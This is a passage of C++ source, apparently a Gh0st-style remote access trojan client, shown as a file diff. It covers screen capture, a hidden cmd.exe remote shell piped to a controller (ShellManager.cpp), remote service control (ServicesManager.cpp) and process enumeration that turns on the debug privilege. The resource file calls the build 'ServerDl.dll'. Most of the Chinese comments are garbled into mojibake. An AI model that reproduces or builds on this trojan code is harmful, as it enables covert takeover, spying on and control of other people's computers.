ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
/*
[1][2][3][3]
[1][3][2][1]
[0000][ ][1321]
*/
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
return ulszBufferOffset;
}

50
client/ScreenSpy.h Normal file
View File

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// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1
#include "CursorInfor.h"
class CScreenSpy
{
public:
CScreenSpy::CScreenSpy(ULONG ulbiBitCount);
virtual ~CScreenSpy();
ULONG CScreenSpy::GetBISize();
LPBITMAPINFO CScreenSpy::GetBIData();
ULONG m_ulbiBitCount;
LPBITMAPINFO m_BitmapInfor_Full;
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight);
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
HDC m_hFullMemDC;
HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full;
DWORD m_dwBitBltRop;
LPVOID CScreenSpy::GetFirstScreenData();
ULONG CScreenSpy::GetFirstScreenLength();
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength);
BYTE* m_RectBuffer;
ULONG m_RectBufferOffset;
BYTE m_bAlgorithm;
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
CCursorInfor m_CursorInfor;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength);
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
};
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

139
client/Script.rc Normal file
View File

@@ -0,0 +1,139 @@
// Microsoft Visual C++ generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)
/////////////////////////////////////////////////////////////////////////////
//
// Dialog
//
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
DEFPUSHBUTTON "OK",IDOK,27,87,50,14
PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
END
/////////////////////////////////////////////////////////////////////////////
//
// DESIGNINFO
//
#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO
BEGIN
IDD_DIALOG, DIALOG
BEGIN
BOTTOMMARGIN, 101
END
END
#endif // APSTUDIO_INVOKED
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// WAVE
//
IDR_WAVE WAVE "Res\\msg.wav"
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,1
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "080404b0"
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A DLL"
VALUE "FileVersion", "1.0.0.1"
VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll"
VALUE "ProductName", "A DLL"
VALUE "ProductVersion", "1.0.0.1"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x804, 1200
END
END
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

276
client/ServicesManager.cpp Normal file
View File

@@ -0,0 +1,276 @@
// ServicesManager.cpp: implementation of the CServicesManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ServicesManager.h"
#include "Common.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
SendServicesList();
}
CServicesManager::~CServicesManager()
{
}
VOID CServicesManager::SendServicesList()
{
LPBYTE szBuffer = GetServicesList();
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
LPBYTE CServicesManager::GetServicesList()
{
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
LPBYTE szBuffer = NULL;
char szRunWay[256] = {0};
char szAutoRun[256] = {0};
DWORD dwLength = 0;
DWORD dwOffset = 0;
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
return NULL;
}
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
if (ServicesStatus==NULL)
{
CloseServiceHandle(m_hscManager);
return NULL;
}
DWORD dwNeedsBytes = 0;
DWORD dwServicesCount = 0;
DWORD dwResumeHandle = 0;
EnumServicesStatus(m_hscManager,
SERVICE_TYPE_ALL, //CTL_FIX
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)ServicesStatus,
64 * 1024,
&dwNeedsBytes,
&dwServicesCount,
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{
SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0;
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
SERVICE_ALL_ACCESS);
if (hServices==NULL)
{
continue;
}
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
{
ZeroMemory(szRunWay, sizeof(szRunWay));
lstrcat(szRunWay,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
else
{
ZeroMemory(szRunWay, sizeof(szRunWay));
lstrcat(szRunWay,"ֹͣ");
}
if(2==ServicesInfor->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //SERVICE_AUTO_START
{
ZeroMemory(szAutoRun, sizeof(szAutoRun));
lstrcat(szAutoRun,"<EFBFBD>Զ<EFBFBD>");
}
if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START
{
ZeroMemory(szAutoRun, sizeof(szAutoRun));
lstrcat(szAutoRun,"<EFBFBD>ֶ<EFBFBD>");
}
if(4==ServicesInfor->dwStartType)
{
ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED
lstrcat(szAutoRun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//·<><C2B7>
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//<2F><><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(szRunWay) + 1;
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(szAutoRun) + 1;
CloseServiceHandle(hServices);
LocalFree(ServicesInfor); //Config
}
CloseServiceHandle(m_hscManager);
LocalFree(ServicesStatus);
return szBuffer;
}
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0])
{
case COMMAND_SERVICELIST:
SendServicesList();
break;
case COMMAND_SERVICECONFIG: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
break;
default:
break;
}
}
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
{
BYTE bCommand = szBuffer[0];
char *szServiceName = (char *)(szBuffer+1);
switch(bCommand)
{
case 1: //start
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
if (NULL != hSCManager)
{
SC_HANDLE hService = OpenService(hSCManager,
szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService )
{
StartService(hService, NULL, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 2: //stop
{
SC_HANDLE hSCManager =
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
if ( NULL != hSCManager)
{
SC_HANDLE hService = OpenService(hSCManager,
szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService )
{
SERVICE_STATUS Status;
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 3: //auto
{
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
SERVICE_ALL_ACCESS);
if ( NULL != hService )
{
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
BOOL bOk = ChangeServiceConfig(
hService,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 4: // DEMAND_START
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService )
{
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
BOOL bOK = ChangeServiceConfig(
hService,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock);
CloseServiceHandle(hService );
}
CloseServiceHandle( hSCManager);
}
Sleep(500);
SendServicesList();
}
default:
break;
}
}

26
client/ServicesManager.h Normal file
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// ServicesManager.h: interface for the CServicesManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CServicesManager : public CManager
{
public:
CServicesManager(IOCPClient* ClientObject, int n);
virtual ~CServicesManager();
VOID CServicesManager::SendServicesList();
LPBYTE CServicesManager::GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
};
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)

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client/ShellManager.cpp Normal file
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// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ShellManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
BOOL bStarting = TRUE;
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //<2F><>Ҫ
m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd
m_hWritePipeShell = NULL; //cmd
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD>
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
{
if(m_hReadPipeHandle != NULL)
{
CloseHandle(m_hReadPipeHandle);
}
if(m_hWritePipeShell != NULL)
{
CloseHandle(m_hWritePipeShell);
}
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL)
{
CloseHandle(m_hWritePipeHandle);
}
if(m_hReadPipeShell != NULL)
{
CloseHandle(m_hReadPipeShell);
}
return;
}
//<2F><><EFBFBD><EFBFBD>Cmd FullPath
char strShellPath[MAX_PATH] = {0};
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
//C:\windows\system32\cmd.exe
strcat(strShellPath,"\\cmd.exe");
//1 Cmd Input Output Ҫ<>͹ܵ<CDB9><DCB5><EFBFBD>Ӧ<EFBFBD><D3A6>
//2 Cmd Hide
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0}; //CreateProcess
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE;
//<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
//3 <20>̳<EFBFBD>
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
return;
}
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen();
m_hThreadRead = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
{
unsigned long dwReturn = 0;
char szBuffer[1024] = {0};
DWORD dwTotal = 0;
CShellManager *This = (CShellManager*)lParam;
while (bStarting)
{
Sleep(100);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
while (PeekNamedPipe(This->m_hReadPipeHandle, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL))
{
//<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD><DDBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
if (dwReturn <= 0)
break;
memset(szBuffer, 0, sizeof(szBuffer));
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn);
LocalFree(szTotalBuffer);
}
}
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>"<<endl;
return 0;
}
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
default:
{
unsigned long dwReturn = 0;
if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL))
{
}
break;
}
}
}
CShellManager::~CShellManager()
{
bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
Sleep(100);
if (m_hReadPipeHandle != NULL)
{
DisconnectNamedPipe(m_hReadPipeHandle);
CloseHandle(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if (m_hWritePipeHandle != NULL)
{
DisconnectNamedPipe(m_hWritePipeHandle);
CloseHandle(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if (m_hReadPipeShell != NULL)
{
DisconnectNamedPipe(m_hReadPipeShell);
CloseHandle(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
if (m_hWritePipeShell != NULL)
{
DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
}

36
client/ShellManager.h Normal file
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// ShellManager.h: interface for the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
#define AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
class CShellManager : public CManager
{
public:
CShellManager(IOCPClient* ClientObject, int n);
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead;
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
HANDLE m_hShellThreadHandle;
};
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)

8
client/StdAfx.cpp Normal file
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// stdafx.cpp : source file that includes just the standard includes
// ClientDll.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

42
client/StdAfx.h Normal file
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// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h"
// Insert your headers here
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#include <assert.h>
#include <MMSystem.h>
#pragma comment(lib, "winmm.lib")
// <20>߾<EFBFBD><DFBE>ȵ<EFBFBD>˯<EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD>
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
// <20>Բ<EFBFBD><D4B2><EFBFBD>n<EFBFBD><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD>µȴ<C2B5>T<EFBFBD><54>(n<>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000)
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>10ms)
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }

279
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// SystemManager.cpp: implementation of the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SystemManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
#include <TLHELP32.H>
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
enum
{
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM)
{
//<2F><><EFBFBD><EFBFBD>
SendProcessList();
}
else if (bHow==COMMAND_WSLIST)
{
//<2F><><EFBFBD><EFBFBD>
SendWindowsList();
}
}
VOID CSystemManager::SendProcessList()
{
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
szBuffer = NULL;
}
void CSystemManager::SendWindowsList()
{
LPBYTE szBuffer = GetWindowsList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return;
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
LocalFree(szBuffer);
}
LPBYTE CSystemManager::GetProcessList()
{
DebugPrivilege(SE_DEBUG_NAME,TRUE); //<2F><>ȡȨ<C8A1><C8A8>
